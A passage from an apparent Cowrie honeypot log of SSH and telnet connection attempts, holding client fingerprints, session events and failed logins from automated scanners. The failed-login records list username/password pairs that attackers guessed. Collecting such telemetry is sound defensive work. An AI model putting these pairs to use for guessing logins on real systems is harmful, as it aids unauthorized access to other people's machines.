6-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:03.717244Z","src_ip":"43.129.44.66","session":"2696bf689d0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"0","message":"login attempt [test/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:04.416302Z","src_ip":"123.58.215.196","session":"269e6ca6f99c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kent","password":"kent","message":"login attempt [kent/kent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:04.789141Z","src_ip":"43.129.44.66","session":"2696bf689d0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:05.638594Z","src_ip":"123.58.215.196","session":"269e6ca6f99c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:06.051356Z","src_ip":"43.129.44.66","session":"2696bf689d0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":49466,"dst_ip":"10.17.0.5","dst_port":22,"session":"18e62054531e","protocol":"ssh","message":"New connection: 80.94.92.184:49466 (10.17.0.5:22) [session: 18e62054531e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:07.310008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:07.458334Z","src_ip":"80.94.92.184","session":"18e62054531e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:07.583643Z","src_ip":"80.94.92.184","session":"18e62054531e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1","message":"login attempt [sol/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:08.429700Z","src_ip":"80.94.92.184","session":"18e62054531e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":49706,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f95a9f0a7b4","protocol":"ssh","message":"New connection: 4.213.224.194:49706 (10.17.0.5:22) [session: 1f95a9f0a7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:09.725121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:09.729632Z","src_ip":"4.213.224.194","session":"1f95a9f0a7b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":52446,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c16a2db6436","protocol":"ssh","message":"New connection: 111.238.174.6:52446 (10.17.0.5:22) [session: 2c16a2db6436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:09.866575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:09.872057Z","src_ip":"111.238.174.6","session":"2c16a2db6436","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:09.937910Z","src_ip":"4.213.224.194","session":"1f95a9f0a7b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:10.059850Z","src_ip":"111.238.174.6","session":"2c16a2db6436","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:10.192392Z","src_ip":"80.94.92.184","session":"18e62054531e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"secretpassxd","message":"login attempt [root/secretpassxd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:10.806187Z","src_ip":"4.213.224.194","session":"1f95a9f0a7b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernardo","password":"bernardo","message":"login attempt [bernardo/bernardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:10.837274Z","src_ip":"111.238.174.6","session":"2c16a2db6436","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:12.020061Z","src_ip":"4.213.224.194","session":"1f95a9f0a7b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:12.031872Z","src_ip":"111.238.174.6","session":"2c16a2db6436","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.05895495414734,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:30.290826Z","src_ip":"107.6.151.170","session":"01cb3c4773eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45936,"dst_ip":"159.203.135.109","dst_port":23,"session":"a966afc45c85","protocol":"telnet","message":"New connection: 128.199.8.54:45936 (159.203.135.109:23) [session: a966afc45c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:08.162464Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":43126,"dst_ip":"10.17.0.5","dst_port":22,"session":"6565ee328d98","protocol":"ssh","message":"New connection: 111.238.174.6:43126 (10.17.0.5:22) [session: 6565ee328d98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:13.136484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:13.140880Z","src_ip":"111.238.174.6","session":"6565ee328d98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:13.340196Z","src_ip":"111.238.174.6","session":"6565ee328d98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@007","message":"login attempt [root/Admin@007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:14.129292Z","src_ip":"111.238.174.6","session":"6565ee328d98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:15.325686Z","src_ip":"111.238.174.6","session":"6565ee328d98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":47128,"dst_ip":"159.203.135.109","dst_port":22,"session":"93274b2d7b4c","protocol":"ssh","message":"New connection: 2.57.122.238:47128 (159.203.135.109:22) [session: 93274b2d7b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:17.177193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:17.181045Z","src_ip":"2.57.122.238","session":"93274b2d7b4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:17.286766Z","src_ip":"2.57.122.238","session":"93274b2d7b4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:17.605388Z","src_ip":"2.57.122.238","session":"93274b2d7b4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:18.713786Z","src_ip":"2.57.122.238","session":"93274b2d7b4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":56178,"dst_ip":"159.203.135.109","dst_port":22,"session":"50fdd0cdcdab","protocol":"ssh","message":"New connection: 27.71.230.31:56178 (159.203.135.109:22) [session: 50fdd0cdcdab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:26.910392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:27.047146Z","src_ip":"27.71.230.31","session":"50fdd0cdcdab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:27.545889Z","src_ip":"27.71.230.31","session":"50fdd0cdcdab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"User2020","message":"login attempt [root/User2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:32.811856Z","src_ip":"27.71.230.31","session":"50fdd0cdcdab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:34.798131Z","src_ip":"27.71.230.31","session":"50fdd0cdcdab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":57088,"dst_ip":"159.203.135.109","dst_port":22,"session":"42cdd8546729","protocol":"ssh","message":"New connection: 194.113.233.25:57088 (159.203.135.109:22) [session: 42cdd8546729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:39.806933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:39.812064Z","src_ip":"194.113.233.25","session":"42cdd8546729","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:39.899937Z","src_ip":"194.113.233.25","session":"42cdd8546729","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567qwert","message":"login attempt [root/1234567qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:40.160538Z","src_ip":"194.113.233.25","session":"42cdd8546729","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:41.253408Z","src_ip":"194.113.233.25","session":"42cdd8546729","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":39332,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbb0ef0a3bd1","protocol":"telnet","message":"New connection: 132.148.22.172:39332 (10.17.0.5:23) [session: cbb0ef0a3bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:42.478570Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":34027,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce65ddef1aab","protocol":"ssh","message":"New connection: 103.248.120.6:34027 (10.17.0.5:22) [session: ce65ddef1aab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:55.789385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:55.797454Z","src_ip":"103.248.120.6","session":"ce65ddef1aab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:56.020475Z","src_ip":"103.248.120.6","session":"ce65ddef1aab","protocol":"ssh"}
